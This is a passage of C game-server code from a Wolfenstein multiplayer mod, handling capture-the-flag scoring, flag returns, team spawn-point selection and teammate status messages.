level.time - targ->client->pers.teamState.lasthurtcarrier < CTF_CARRIER_DANGER_PROTECT_TIMEOUT &&
!attacker->client->ps.powerups[flag_pw]) {
// attacker is on the same team as the flag carrier and
// fragged a guy who hurt our flag carrier
AddScore(attacker, CTF_CARRIER_DANGER_PROTECT_BONUS);
attacker->client->pers.teamState.carrierdefense++;
team = attacker->client->sess.sessionTeam;
PrintMsg(NULL, "%s" S_COLOR_WHITE " defends %s's flag carrier against an agressive enemy\n",
attacker->client->pers.netname, TeamName(team));
return;
}
}
// flag and flag carrier area defense bonuses
// we have to find the flag and carrier entities
// find the flag
switch (attacker->client->sess.sessionTeam) {
case TEAM_RED:
c = "team_CTF_redflag";
break;
case TEAM_BLUE:
c = "team_CTF_blueflag";
break;
default:
return;
}
flag = NULL;
while ((flag = G_Find (flag, FOFS(classname), c)) != NULL) {
if (!(flag->flags & FL_DROPPED_ITEM))
break;
}
if (flag) { // JPW NERVE -- added some more stuff after this fn
// return; // can't find attacker's flag
// find attacker's team's flag carrier
for (i = 0; i < g_maxclients.integer; i++) {
carrier = g_entities + i;
if (carrier->inuse && carrier->client->ps.powerups[flag_pw])
break;
carrier = NULL;
}
// ok we have the attackers flag and a pointer to the carrier
// check to see if we are defending the base's flag
VectorSubtract(targ->client->ps.origin, flag->s.origin, v1);
VectorSubtract(attacker->client->ps.origin, flag->s.origin, v2);
if ((VectorLength(v1) < CTF_TARGET_PROTECT_RADIUS ||
VectorLength(v2) < CTF_TARGET_PROTECT_RADIUS ||
CanDamage(flag, targ->client->ps.origin) || CanDamage(flag, attacker->client->ps.origin)) &&
attacker->client->sess.sessionTeam != targ->client->sess.sessionTeam) {
// we defended the base flag
if (g_gametype.integer >= GT_WOLF) // JPW NERVE FIXME -- don't report flag defense messages, change to gooder message
AddScore(attacker, WOLF_FLAG_DEFENSE_BONUS);
else {
AddScore(attacker, CTF_FLAG_DEFENSE_BONUS);
if (!flag->r.contents)
PrintMsg(NULL, "%s" S_COLOR_WHITE " defends the %s base.\n",
attacker->client->pers.netname,
TeamName(attacker->client->sess.sessionTeam));
else
PrintMsg(NULL, "%s" S_COLOR_WHITE " defends the %s flag.\n",
attacker->client->pers.netname,
TeamName(attacker->client->sess.sessionTeam));
}
attacker->client->pers.teamState.basedefense++;
return;
}
if (g_gametype.integer < GT_WOLF) { // JPW NERVE no attacker protect in wolf MP
if (carrier && carrier != attacker) {
VectorSubtract(targ->s.origin, carrier->s.origin, v1);
VectorSubtract(attacker->s.origin, carrier->s.origin, v1);
if (VectorLength(v1) < CTF_ATTACKER_PROTECT_RADIUS ||
VectorLength(v2) < CTF_ATTACKER_PROTECT_RADIUS ||
CanDamage(carrier, targ->s.origin) || CanDamage(carrier, attacker->s.origin)) {
AddScore(attacker, CTF_CARRIER_PROTECT_BONUS);
attacker->client->pers.teamState.carrierdefense++;
PrintMsg(NULL, "%s" S_COLOR_WHITE " defends the %s's flag carrier.\n",
attacker->client->pers.netname,
TeamName(attacker->client->sess.sessionTeam));
return;
}
}
}
} // JPW NERVE
// JPW NERVE -- look for nearby checkpoints and spawnpoints
flag = NULL;
while ((flag = G_Find (flag, FOFS(classname), "team_WOLF_checkpoint")) != NULL) {
VectorSubtract(targ->client->ps.origin, flag->s.origin, v1);
if ((flag->s.frame != WCP_ANIM_NOFLAG) && (flag->count == attacker->client->sess.sessionTeam))
if (VectorLength(v1) < WOLF_CP_PROTECT_RADIUS) {
if (flag->spawnflags & 1) // protected spawnpoint
AddScore(attacker, WOLF_SP_PROTECT_BONUS);
else
AddScore(attacker, WOLF_CP_PROTECT_BONUS); // protected checkpoint
}
}
// jpw
}
/*
================
Team_CheckHurtCarrier
Check to see if attacker hurt the flag carrier. Needed when handing out bonuses for assistance to flag
carrier defense.
================
*/
void Team_CheckHurtCarrier(gentity_t *targ, gentity_t *attacker)
{
int flag_pw;
if (!targ->client || !attacker->client)
return;
if (targ->client->sess.sessionTeam == TEAM_RED)
flag_pw = PW_BLUEFLAG;
else
flag_pw = PW_REDFLAG;
if (targ->client->ps.powerups[flag_pw] &&
targ->client->sess.sessionTeam != attacker->client->sess.sessionTeam)
attacker->client->pers.teamState.lasthurtcarrier = level.time;
}
#ifdef OMNIBOT
const char *_GetEntityName(gentity_t *_ent);
void Bot_Util_SendTrigger(gentity_t *_ent, gentity_t *_activator, const char *_tagname, const char *_action);
#endif
gentity_t *Team_ResetFlag(int team)
{
char *c;
gentity_t *ent, *rent = NULL;
switch (team) {
case TEAM_RED:
c = "team_CTF_redflag";
break;
case TEAM_BLUE:
c = "team_CTF_blueflag";
break;
default:
return NULL;
}
ent = NULL;
while ((ent = G_Find (ent, FOFS(classname), c)) != NULL) {
if (ent->flags & FL_DROPPED_ITEM)
G_FreeEntity(ent);
else {
rent = ent;
RespawnItem(ent);
}
}
#ifdef OMNIBOT
{
Bot_Util_SendTrigger(ent, NULL, va("Flag returned %s!", _GetEntityName(rent)), "returned");
}
#endif
return rent;
}
void Team_ResetFlags(void)
{
Team_ResetFlag(TEAM_RED);
Team_ResetFlag(TEAM_BLUE);
}
void Team_ReturnFlagSound(gentity_t *ent, int team)
{
// play powerup spawn sound to all clients
gentity_t *te;
if (ent == NULL) {
G_Printf ("Warning: NULL passed to Team_ReturnFlagSound\n");
return;
}
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_SOUND );
te->s.eventParm = G_SoundIndex( team == TEAM_RED ?
"sound/multiplayer/axis/g-objective_secure.wav" :
"sound/multiplayer/allies/a-objective_secure.wav" );
te->r.svFlags |= SVF_BROADCAST;
}
void Team_ReturnFlag(int team)
{
Team_ReturnFlagSound(Team_ResetFlag(team), team);
PrintMsg(NULL, "The %s flag has returned!\n", TeamName(team));
}
void Team_FreeEntity(gentity_t *ent)
{
if (ent->item->giTag == PW_REDFLAG)
Team_ReturnFlag(TEAM_RED);
else if (ent->item->giTag == PW_BLUEFLAG)
Team_ReturnFlag(TEAM_BLUE);
}
/*
==============
Team_DroppedFlagThink
Automatically set in Launch_Item if the item is one of the flags
Flags are unique in that if they are dropped, the base flag must be respawned when they time out
==============
*/
void Team_DroppedFlagThink(gentity_t *ent)
{
// TTimo might be used uninitialized
gentity_t *gm = NULL;
if ( g_gametype.integer >= GT_WOLF ) {
gm = G_Find( NULL, FOFS(scriptName), "game_manager" );
}
if (ent->item->giTag == PW_REDFLAG) {
Team_ReturnFlagSound(Team_ResetFlag(TEAM_RED), TEAM_RED);
if ( gm )
{
trap_SendServerCommand(-1, "cp \"Axis have returned the objective!\" 2");
trap_SendServerCommand(-1, va("print \"^3%s: ^5Axis have returned the objective!\n\" 2",GetLevelTime()));
G_Script_ScriptEvent( gm, "trigger", "axis_object_returned" );
}
}
else if (ent->item->giTag == PW_BLUEFLAG) {
Team_ReturnFlagSound(Team_ResetFlag(TEAM_BLUE), TEAM_BLUE);
if ( gm )
{
trap_SendServerCommand(-1, "cp \"Allies have returned the objective!\" 2");
trap_SendServerCommand(-1, va("print \"^3%s: ^5Allies have returned the objective!\n\" 2",GetLevelTime(), ent->message));
G_Script_ScriptEvent( gm, "trigger", "allied_object_returned" );
}
}
// Reset Flag will delete this entity
}
int Team_TouchOurFlag( gentity_t *ent, gentity_t *other, int team ) {
int i;
gentity_t *player;
gclient_t *cl = other->client;
int our_flag, enemy_flag;
gentity_t *te, *gm;
if (cl->sess.sessionTeam == TEAM_RED) {
our_flag = PW_REDFLAG;
enemy_flag = PW_BLUEFLAG;
} else {
our_flag = PW_BLUEFLAG;
enemy_flag = PW_REDFLAG;
}
if ( ent->flags & FL_DROPPED_ITEM ) {
// hey, its not home. return it by teleporting it back
// JPW NERVE
if ( g_gametype.integer >= GT_WOLF ) {
AddScore(other, WOLF_SECURE_OBJ_BONUS);
te = G_TempEntity( other->s.pos.trBase, EV_GLOBAL_SOUND );
te->r.svFlags |= SVF_BROADCAST;
te->s.teamNum = cl->sess.sessionTeam;
// DHM - Nerve :: Call trigger function in the 'game_manager' entity script
gm = G_Find( NULL, FOFS(scriptName), "game_manager" );
if ( cl->sess.sessionTeam == TEAM_RED ) {
te->s.eventParm = G_SoundIndex( "sound/multiplayer/axis/g-objective_secure.wav" );
trap_SendServerCommand(-1, va("cp \"Axis have returned %s!\n\" 2", ent->message));
trap_SendServerCommand(-1, va("print \"^3%s: ^5Axis have returned %s!\n\" 2",GetLevelTime(), ent->message));
if ( gm )
G_Script_ScriptEvent( gm, "trigger", "axis_object_returned" );
#ifdef OMNIBOT
{
Bot_Util_SendTrigger(ent, NULL, va("Axis have returned %s!", ent->message), "returned");
}
#endif
}
else {
te->s.eventParm = G_SoundIndex( "sound/multiplayer/allies/a-objective_secure.wav" );
trap_SendServerCommand(-1, va("cp \"Allies have returned %s!\n\" 2", ent->message));
trap_SendServerCommand(-1, va("print \"^3%s: ^5Allies have returned %s!\n\" 2",GetLevelTime(), ent->message));
if ( gm )
G_Script_ScriptEvent( gm, "trigger", "allied_object_returned" );
#ifdef OMNIBOT
{
Bot_Util_SendTrigger(ent, NULL, va("Axis have returned %s!", ent->message), "returned");
}
#endif
}
// dhm
}
// jpw 800 672 2420
else {
PrintMsg( NULL, "%s" S_COLOR_WHITE " returned the %s flag!\n",
cl->pers.netname, TeamName(team));
AddScore(other, CTF_RECOVERY_BONUS);
}
other->client->pers.teamState.flagrecovery++;
other->client->pers.teamState.lastreturnedflag = level.time;
//ResetFlag will remove this entity! We must return zero
Team_ReturnFlagSound(Team_ResetFlag(team), team);
return 0;
}
// DHM - Nerve :: GT_WOLF doesn't support capturing the flag
if ( g_gametype.integer >= GT_WOLF )
return 0;
// the flag is at home base. if the player has the enemy
// flag, he's just won!
if (!cl->ps.powerups[enemy_flag])
return 0; // We don't have the flag
PrintMsg( NULL, "%s" S_COLOR_WHITE " captured the %s flag!\n",
cl->pers.netname, TeamName(OtherTeam(team)));
cl->ps.powerups[enemy_flag] = 0;
teamgame.last_flag_capture = level.time;
teamgame.last_capture_team = team;
// Increase the team's score
level.teamScores[ other->client->sess.sessionTeam ]++;
other->client->pers.teamState.captures++;
// other gets another 10 frag bonus
if (g_gametype.integer >= GT_WOLF) {
AddScore(other, WOLF_CAPTURE_BONUS);
PrintMsg(NULL,"%s" S_COLOR_WHITE " captured enemy objective!\n",cl->pers.netname);
}
else
AddScore(other, CTF_CAPTURE_BONUS);
te = G_TempEntity( ent->s.pos.trBase, EV_GLOBAL_SOUND );
te->s.eventParm = G_SoundIndex( our_flag == PW_REDFLAG ?
"sound/teamplay/flagcap_red.wav" :
"sound/teamplay/flagcap_blu.wav" );
te->r.svFlags |= SVF_BROADCAST;
// Ok, let's do the player loop, hand out the bonuses
for (i = 0; i < g_maxclients.integer; i++) {
player = &g_entities[i];
if (!player->inuse)
continue;
if (player->client->sess.sessionTeam !=
cl->sess.sessionTeam) {
player->client->pers.teamState.lasthurtcarrier = -5;
} else if (player->client->sess.sessionTeam ==
cl->sess.sessionTeam) {
// TTimo gcc: suggest explicit braces to avoid ambiguous `else`
if (player != other)
{
// JPW NERVE
if (g_gametype.integer >= GT_WOLF)
AddScore(player, WOLF_CAPTURE_BONUS);
else
// jpw
AddScore(player, CTF_CAPTURE_BONUS);
}
// award extra points for capture assists
// JPW NERVE in non-wolf-mp only
if (g_gametype.integer < GT_WOLF) {
if (player->client->pers.teamState.lastreturnedflag +
CTF_RETURN_FLAG_ASSIST_TIMEOUT > level.time) {
PrintMsg( NULL,
"%s" S_COLOR_WHITE " gets an assist for returning the %s flag!\n",
player->client->pers.netname,
TeamName(team));
AddScore (player, CTF_RETURN_FLAG_ASSIST_BONUS);
other->client->pers.teamState.assists++;
}
if (player->client->pers.teamState.lastfraggedcarrier +
CTF_FRAG_CARRIER_ASSIST_TIMEOUT > level.time) {
PrintMsg( NULL, "%s" S_COLOR_WHITE " gets an assist for fragging the %s flag carrier!\n",
player->client->pers.netname,
TeamName(OtherTeam(team)));
AddScore(player, CTF_FRAG_CARRIER_ASSIST_BONUS);
other->client->pers.teamState.assists++;
}
}
}
}
Team_ResetFlags();
CalculateRanks();
return 0; // Do not respawn this automatically
}
int Team_TouchEnemyFlag( gentity_t *ent, gentity_t *other, int team ) {
gclient_t *cl = other->client;
gentity_t *te, *gm;
te = NULL;
gm = NULL;
if (g_deathmatch.integer)
return 0;
// hey, its not our flag, pick it up
if ( g_gametype.integer >= GT_WOLF ) {
// JPW NERVE
if (!other->objDropCount){
AddScore(other, WOLF_STEAL_OBJ_BONUS);
te = G_TempEntity( other->s.pos.trBase, EV_GLOBAL_SOUND );
te->r.svFlags |= SVF_BROADCAST;
te->s.teamNum = cl->sess.sessionTeam;
}
//S4NDM4NN-spy
if(g_allowSpys.integer){
if(other->client->ps.isSpy){
other->client->ps.isSpy = qfalse;
other->client->ps.weaponTime = 500;
trap_SendServerCommand( other-g_entities, "cp \"^3You have lost your disguise!\"");
ClientUserinfoChanged( other->client->ps.clientNum );
}
}
// DHM - Nerve :: Call trigger function in the 'game_manager' entity script
gm = G_Find( NULL, FOFS(scriptName), "game_manager" );
if ( cl->sess.sessionTeam == TEAM_RED ) {
if(te) //cs: crash fix for dropObj. maybe skip all of this?
te->s.eventParm = G_SoundIndex( "sound/multiplayer/axis/g-objective_taken.wav" );
trap_SendServerCommand(-1, va("cp \"Axis have stolen %s!\n\" 2", ent->message));
trap_SendServerCommand(-1, va("print \"^3%s: ^5Axis have stolen %s!\n\" 2",GetLevelTime(), ent->message));
if ( gm )
G_Script_ScriptEvent( gm, "trigger", "allied_object_stolen" );
#ifdef OMNIBOT
{
Bot_Util_SendTrigger(ent, NULL, va("Axis have stolen %s!", ent->message), "stolen");
}
#endif
}
else {
if(te) //cs: crash fix for dropObj. maybe skip all of this?
te->s.eventParm = G_SoundIndex( "sound/multiplayer/allies/a-objective_taken.wav" );
trap_SendServerCommand(-1, va("cp \"Allies have stolen %s!\n\" 2", ent->message));
trap_SendServerCommand(-1, va("print \"^3%s: ^5Allies have stolen %s!\n\" 2",GetLevelTime(), ent->message));
if ( gm )
G_Script_ScriptEvent( gm, "trigger", "axis_object_stolen" );
#ifdef OMNIBOT
{
Bot_Util_SendTrigger(ent, NULL, va("Allies have stolen %s!", ent->message), "stolen");
}
#endif
}
// dhm
// jpw
}
else {
PrintMsg (NULL, "%s" S_COLOR_WHITE " got the %s flag!\n",
other->client->pers.netname, TeamName(team));
AddScore(other, CTF_FLAG_BONUS);
}
if (team == TEAM_RED)
cl->ps.powerups[PW_REDFLAG] = INT_MAX; // flags never expire
else
cl->ps.powerups[PW_BLUEFLAG] = INT_MAX; // flags never expire
cl->pers.teamState.flagsince = level.time;
return -1; // Do not respawn this automatically, but do delete it if it was FL_DROPPED
}
int Pickup_Team( gentity_t *ent, gentity_t *other ) {
int team;
gclient_t *cl = other->client;
// figure out what team this flag is
if (strcmp(ent->classname, "team_CTF_redflag") == 0)
team = TEAM_RED;
else if (strcmp(ent->classname, "team_CTF_blueflag") == 0)
team = TEAM_BLUE;
else {
PrintMsg ( other, "Don't know what team the flag is on.\n");
return 0;
}
// JPW NERVE -- set flag model in carrying entity if multiplayer and flagmodel is set
if (g_gametype.integer >= GT_WOLF) {
other->message = ent->message;
other->s.otherEntityNum2 = ent->s.modelindex2;
}
// jpw
return ((team == cl->sess.sessionTeam) ?
Team_TouchOurFlag : Team_TouchEnemyFlag)
(ent, other, team);
}
/*
===========
Team_GetLocation
Report a location for the player. Uses placed nearby target_location entities
============
*/
gentity_t *Team_GetLocation(gentity_t *ent)
{
gentity_t *eloc, *best;
float bestlen, len;
vec3_t origin;
best = NULL;
bestlen = 3*8192.0*8192.0;
VectorCopy( ent->r.currentOrigin, origin );
for (eloc = level.locationHead; eloc; eloc = eloc->nextTrain) {
len = ( origin[0] - eloc->r.currentOrigin[0] ) * ( origin[0] - eloc->r.currentOrigin[0] )
+ ( origin[1] - eloc->r.currentOrigin[1] ) * ( origin[1] - eloc->r.currentOrigin[1] )
+ ( origin[2] - eloc->r.currentOrigin[2] ) * ( origin[2] - eloc->r.currentOrigin[2] );
if ( len > bestlen ) {
continue;
}
if ( !trap_InPVS( origin, eloc->r.currentOrigin ) ) {
continue;
}
bestlen = len;
best = eloc;
}
return best;
}
/*
===========
Team_GetLocation
Report a location for the player. Uses placed nearby target_location entities
============
*/
qboolean Team_GetLocationMsg(gentity_t *ent, char *loc, int loclen)
{
gentity_t *best;
best = Team_GetLocation( ent );
if (!best)
return qfalse;
if (best->count) {
if (best->count < 0)
best->count = 0;
if (best->count > 7)
best->count = 7;
//Com_sprintf(loc, loclen, "%c%c[lon]%s[lof]" S_COLOR_WHITE, Q_COLOR_ESCAPE, best->count + '0', best->message );
Com_sprintf(loc, loclen, "%c%c%s" S_COLOR_WHITE, Q_COLOR_ESCAPE, best->count + '0', best->message );
Com_sprintf(ent->client->pers.location, loclen, "%s", best->message);
} else{
//Com_sprintf(loc, loclen, "[lon]%s[lof]", best->message);
Com_sprintf(loc, loclen, "%s", best->message);
Com_sprintf(ent->client->pers.location, loclen, "%s", best->message);
}
return qtrue;
}
/*---------------------------------------------------------------------------*/
// JPW NERVE
/*
=======================
FindFarthestObjectiveIndex
pick MP objective farthest from passed in vector, return table index
=======================
*/
int FindFarthestObjectiveIndex(vec3_t source) {
int i,j=0;
float dist=0,tdist;
vec3_t tmp;
// int cs_obj = CS_MULTI_SPAWNTARGETS;
// char cs[MAX_STRING_CHARS];
// char *objectivename;
for (i=0;i<level.numspawntargets;i++) {
VectorSubtract(level.spawntargets[i],source,tmp);
tdist = VectorLength(tmp);
if (tdist > dist) {
dist = tdist;
j=i;
}
}
/*
cs_obj += j;
trap_GetConfigstring( cs_obj, cs, sizeof(cs) );
objectivename = Info_ValueForKey( cs, "spawn_targ");
G_Printf("got furthest dist (%f) at point %d (%s) of %d\n",dist,j,objectivename,i);
*/
return j;
}
// jpw
// NERVE - SMF
/*
=======================
FindClosestObjectiveIndex
NERVE - SMF - pick MP objective closest to the passed in vector, return table index
=======================
*/
int FindClosestObjectiveIndex(vec3_t source) {
int i,j=0;
float dist=10E20,tdist;
vec3_t tmp;
for (i=0;i<level.numspawntargets;i++) {
VectorSubtract(level.spawntargets[i],source,tmp);
tdist = VectorLength(tmp);
if (tdist < dist) {
dist = tdist;
j=i;
}
}
return j;
}
// -NERVE - SMF
/*
================
SelectRandomDeathmatchSpawnPoint
go to a random point that doesn't telefrag
================
*/
#define MAX_TEAM_SPAWN_POINTS 32
gentity_t *SelectRandomTeamSpawnPoint( int teamstate, team_t team, int spawnObjective ) {
gentity_t *spot;
int count;
int selection;
gentity_t *spots[MAX_TEAM_SPAWN_POINTS];
char *classname;
qboolean initialSpawn = qfalse; // DHM - Nerve
int i=0,j; // JPW NERVE
int closest; // JPW NERVE
float shortest,tmp; // JPW NERVE
vec3_t target; // JPW NERVE
vec3_t farthest; // JPW NERVE FIXME this is temp
char cs[MAX_STRING_CHARS]; // NERVE - SMF
char *def;
int defendingTeam;
qboolean defender = qfalse;
// int n; //will be 1 - 21
// char *token, *text;
classname = "";
// NERVE - SMF - get defender
trap_GetConfigstring( CS_MULTI_INFO, cs, sizeof(cs) );
def = Info_ValueForKey( cs, "defender" );
if ( strlen( def ) > 0 )
defendingTeam = atoi( def );
else
defendingTeam = -1;
if ( defendingTeam && team == TEAM_BLUE ) { // allies
defender = qtrue;
}
else if ( !defendingTeam && team == TEAM_RED ) { // axis
defender = qtrue;
}
/*
if (g_deathmatch.integer > 1){
char mapName[MAX_QPATH];
trap_Cvar_VariableStringBuffer( "mapname", mapName, sizeof(mapName) );
if (!Q_stricmp(mapName, "mp_beach")){
n = rand() % 6;
if (n == 0)
classname = "team_CTF_redspawn";
if (n == 1)
classname = "team_CTF_bluespawn";
if (n == 2)
classname = "team_CTF_blueplayer";
if (n == 3)
classname = "team_CTF_redplayer";
if (n == 4)
classname = "team_CTF_redflag";
if (n == 5)
classname = "team_WOLF_objective";
}
else if (!Q_stricmp(mapName, "mp_base")){
n = rand() % 7;
if (n == 0)
classname = "team_CTF_redspawn";
if (n == 1)
classname = "team_CTF_bluespawn";
if (n == 2)
classname = "team_CTF_blueplayer";
if (n == 3)
classname = "team_CTF_redplayer";
if (n == 4)
classname = "team_CTF_redflag";
if (n == 5)
classname = "info_player_intermission";
if (n == 6)
classname = "script_multiplayer";
}
else if (!Q_stricmp(mapName, "mp_depot")){
n = rand() % 6;
if (n == 0)
classname = "team_CTF_redspawn";
if (n == 1)
classname = "team_CTF_bluespawn";
if (n == 2)
classname = "team_CTF_blueplayer";
if (n == 3)
classname = "team_CTF_redplayer";
if (n == 4)
classname = "info_player_intermission";
if (n == 5)
classname = "script_multiplayer";
}
else if (!Q_stricmp(mapName, "mp_assault")){
n = rand() % 6;
if (n == 0)
classname = "team_CTF_redspawn";
if (n == 1)
classname = "team_CTF_bluespawn";
if (n == 2)
classname = "team_CTF_blueplayer";
if (n == 3)
classname = "team_CTF_redplayer";
if (n == 4)
classname = "info_player_intermission";
if (n == 5)
classname = "script_multiplayer";
}
else if (!Q_stricmp(mapName, "mp_trenchtoast")){
n = rand() % 8;
if (n == 0)
classname = "team_CTF_redspawn";
if (n == 1)
classname = "team_CTF_bluespawn";
if (n == 2)
classname = "team_CTF_blueplayer";
if (n == 3)
classname = "team_CTF_redplayer";
if (n == 4)
classname = "team_CTF_redflag";
if (n == 5)
classname = "team_WOLF_objective";
if (n == 6)
classname = "info_player_intermission";
if (n == 7)
classname = "script_multiplayer";
}
else if (!Q_stricmp(mapName, "mp_ice")){
n = rand() % 8;
if (n == 0)
classname = "team_CTF_redspawn";
if (n == 1)
classname = "team_CTF_bluespawn";
if (n == 2)
classname = "team_CTF_blueplayer";
if (n == 3)
classname = "team_CTF_redplayer";
if (n == 4)
classname = "team_CTF_redflag";
if (n == 5)
classname = "team_CTF_blueflag";
if (n == 6)
classname = "team_WOLF_objective";
if (n == 7)
classname = "info_player_intermission";
}
else if (!Q_stricmp(mapName, "mp_chateau")){
n = rand() % 6;
if (n == 0)
classname = "team_CTF_redspawn";
if (n == 1)
classname = "team_CTF_bluespawn";
if (n == 2)
classname = "team_CTF_blueplayer";
if (n == 3)
classname = "team_CTF_redplayer";
if (n == 4)
classname = "team_WOLF_objective";
if (n == 5)
classname = "dlight";
}
else if (!Q_stricmp(mapName, "mp_castle")){
n = rand() % 7;
if (n == 0)
classname = "team_CTF_redspawn";
if (n == 1)
classname = "team_CTF_bluespawn";
if (n == 2)
classname = "team_CTF_blueplayer";
if (n == 3)
classname = "team_CTF_redplayer";
if (n == 4)
classname = "info_player_intermission";
if (n == 5)
classname = "script_multiplayer";
if (n == 6)
classname = "info_player_deathmatch";
}
else if (!Q_stricmp(mapName, "mp_keep")){
n = rand() % 6;
if (n == 0)
classname = "team_CTF_redspawn";
if (n == 1)
classname = "team_CTF_bluespawn";
if (n == 2)
classname = "team_CTF_blueplayer";
if (n == 3)
classname = "team_CTF_redplayer";
if (n == 4)
classname = "info_player_intermission";
if (n == 5)
classname = "info_player_deathmatch";
}
else if (!Q_stricmp(mapName, "mp_rocket")){
n = rand() % 6;
if (n == 0)
classname = "team_CTF_redspawn";
if (n == 1)
classname = "team_CTF_bluespawn";
if (n == 2)
classname = "team_CTF_blueplayer";
if (n == 3)
classname = "team_CTF_redplayer";
if (n == 4)
classname = "team_CTF_redflag";
if (n == 5)
classname = "trigger_objective_info";
}
else if (!Q_stricmp(mapName, "mp_sub")){
n = rand() % 6;
if (n == 0)
classname = "team_CTF_redspawn";
if (n == 1)
classname = "team_CTF_bluespawn";
if (n == 2)
classname = "team_CTF_blueplayer";
if (n == 3)
classname = "team_CTF_redplayer";
if (n == 4)
classname = "team_CTF_redflag";
if (n == 5)
classname = "script_multiplayer";
}
else if (!Q_stricmp(mapName, "mp_village")){
n = rand() % 7;
if (n == 0)
classname = "team_CTF_redspawn";
if (n == 1)
classname = "team_CTF_bluespawn";
if (n == 2)
classname = "team_CTF_blueplayer";
if (n == 3)
classname = "team_CTF_redplayer";
if (n == 4)
classname = "team_CTF_redflag";
if (n == 5)
classname = "info_player_intermission";
if (n == 6)
classname = "info_player_deathmatch";
}
else if (!Q_stricmp(mapName, "axis_complex")){
n = rand() % 3;
if (n == 0)
classname = "team_CTF_redspawn";
if (n == 1)
classname = "team_CTF_bluespawn";
if (n == 2)
classname = "info_player_intermission";
}
else if (!Q_stricmp(mapName, "mp_destruction")){
n = rand() % 4;
if (n == 0)
classname = "team_CTF_redspawn";
if (n == 1)
classname = "team_CTF_bluespawn";
if (n == 2)
classname = "info_player_intermission";
if (n == 3)
classname = "team_CTF_redflag";
}else{
n = rand() % 4;
if (n == 0)
classname = "team_CTF_redspawn";
if (n == 1)
classname = "team_CTF_bluespawn";
if (n == 2)
classname = "team_CTF_blueplayer";
if (n == 3)
classname = "team_CTF_redplayer";
// G_LogPrintf(mapName);
}
}else{*/
if (teamstate == TEAM_BEGIN) {
// DHM - Nerve :: Don't check if spawn is active initially
initialSpawn = qtrue;
if (team == TEAM_RED)
classname = "team_CTF_redplayer";
else if (team == TEAM_BLUE)
classname = "team_CTF_blueplayer";
else
return NULL;
} else {
if (team == TEAM_RED)
classname = "team_CTF_redspawn";
else if (team == TEAM_BLUE)
classname = "team_CTF_bluespawn";
else
return NULL;
}
//}
count = 0;
spot = NULL;
while ((spot = G_Find (spot, FOFS(classname), classname)) != NULL) {
if ( SpotWouldTelefrag( spot ) ) {
continue;
}
// JPW NERVE
if (g_gametype.integer >= GT_WOLF)
if (!(spot->spawnflags & 2) && !initialSpawn )
continue;
// jpw
spots[ count ] = spot;
if (++count == MAX_TEAM_SPAWN_POINTS)
break;
}
if ( !count ) { // no spots that won't telefrag
return G_Find( NULL, FOFS(classname), classname);
}
// JPW NERVE
if ((g_gametype.integer < GT_WOLF) || (!level.numspawntargets) || initialSpawn ) { // no spawn targets or not wolf MP, do it the old way
selection = rand() % count;
return spots[ selection ];
}
else {
// If no spawnObjective, select target as farthest point from first team spawnpoint
// else replace this with the target coords pulled from the UI target selection
if (spawnObjective)
i=spawnObjective-1;
else {
j=0;
for (j=0;j<count;j++) {
if (spots[j]->spawnflags & 1) { // only use spawnpoint if it's a permanent one
// NERVE - SMF - make defenders spawn all the way back by default
if ( defendingTeam < 0 )
i = FindFarthestObjectiveIndex(spots[j]->s.origin);
else if ( defender )
i = FindClosestObjectiveIndex(spots[j]->s.origin);
else
i = FindFarthestObjectiveIndex(spots[j]->s.origin);
j=count;
}
}
}
VectorCopy(level.spawntargets[i],farthest);
// G_Printf("using spawntarget %d (%f %f %f)\n",i,farthest[0],farthest[1],farthest[2]);
// now that we've got farthest vector, figure closest spawnpoint to it
VectorSubtract(farthest,spots[0]->s.origin,target);
shortest = VectorLength(target);
closest=0;
for (i=0;i<count;i++) {
VectorSubtract(farthest,spots[i]->s.origin,target);
tmp = VectorLength(target);
if ((spots[i]->spawnflags & 2) && (tmp < shortest)) {
shortest=tmp;
closest=i;
}
}
return spots[closest];
}
// jpw
}
/*
===========
SelectCTFSpawnPoint
============
*/
gentity_t *SelectCTFSpawnPoint ( team_t team, int teamstate, vec3_t origin, vec3_t angles, int spawnObjective ) {
gentity_t *spot;
spot = SelectRandomTeamSpawnPoint ( teamstate, team, spawnObjective);
if (!spot) {
return SelectSpawnPoint( vec3_origin, origin, angles );
}
VectorCopy (spot->s.origin, origin);
origin[2] += 9;
VectorCopy (spot->s.angles, angles);
return spot;
}
/*---------------------------------------------------------------------------*/
/*
==================
TeamplayLocationsMessage
Format:
clientNum location health armor weapon powerups
==================
*/
void TeamplayInfoMessage( gentity_t *ent ) {
int identClientNum, identHealth; // NERVE - SMF
char entry[1024];
char string[1400];
int stringlength;
int i, j;
gentity_t *player;
int cnt;
int h;
int overlay_amount;
if(g_deathmatch.integer == 2)
overlay_amount = 0;
else
overlay_amount = 8;
// send the latest information on all clients
string[0] = 0;
stringlength = 0;
for (i = 0, cnt = 0; i < level.numConnectedClients && cnt < overlay_amount; i++) {
player = g_entities + level.sortedClients[i];
if (player->inuse && player->client->sess.sessionTeam ==
ent->client->sess.sessionTeam) {
// DHM - Nerve :: If in LIMBO, don't show followee's health
if ( player->client->ps.pm_flags & PMF_LIMBO )
h = 0;
else
h = player->client->ps.stats[STAT_HEALTH];
if (h < 0) h = 0;
Com_sprintf (entry, sizeof(entry),
" %i %i %i %i %i",
level.sortedClients[i], player->client->pers.teamState.location, h, player->s.powerups, player->client->ps.stats[STAT_PLAYER_CLASS] );
j = strlen(entry);
if (stringlength + j > sizeof(string))
break;
strcpy (string + stringlength, entry);
stringlength += j;
cnt++;
}
}
// NERVE - SMF
identClientNum = ent->client->ps.identifyClient;
if ( g_entities[identClientNum].team == ent->team && g_entities[identClientNum].client ) {
identHealth = g_entities[identClientNum].health;
}
else {
identClientNum = -1;
identHealth = 0;
}
// -NERVE - SMF
trap_SendServerCommand( ent-g_entities, va("tinfo %i %i %i%s", identClientNum, identHealth, cnt, string) );
}
void CheckTeamStatus(void)
{
int i;
gentity_t *loc, *ent;
if (level.time - level.lastTeamLocationTime > TEAM_LOCATION_UPDATE_TIME) {
level.lastTeamLocationTime = level.time;
for (i = 0; i < g_maxclients.integer; i++) {
ent = g_entities + i;
if (ent->inuse &&
(ent->client->sess.sessionTeam == TEAM_RED ||
ent->client->sess.sessionTeam == TEAM_BLUE)) {
loc = Team_GetLocation( ent );
if (loc)
ent->client->pers.teamState.location = loc->health;
else
ent->client->pers.teamState.location = 0;
}
}
for (i = 0; i < g_maxclients.integer; i++) {
ent = g_entities + i;
if (ent->inuse &&
(ent->client->sess.sessionTeam == TEAM_RED ||
ent->client->sess.sessionTeam == TEAM_BLUE)) {
TeamplayInfoMessage( ent );
}
}
}
}
/*-----------------------------------------------------------------*/
//===============
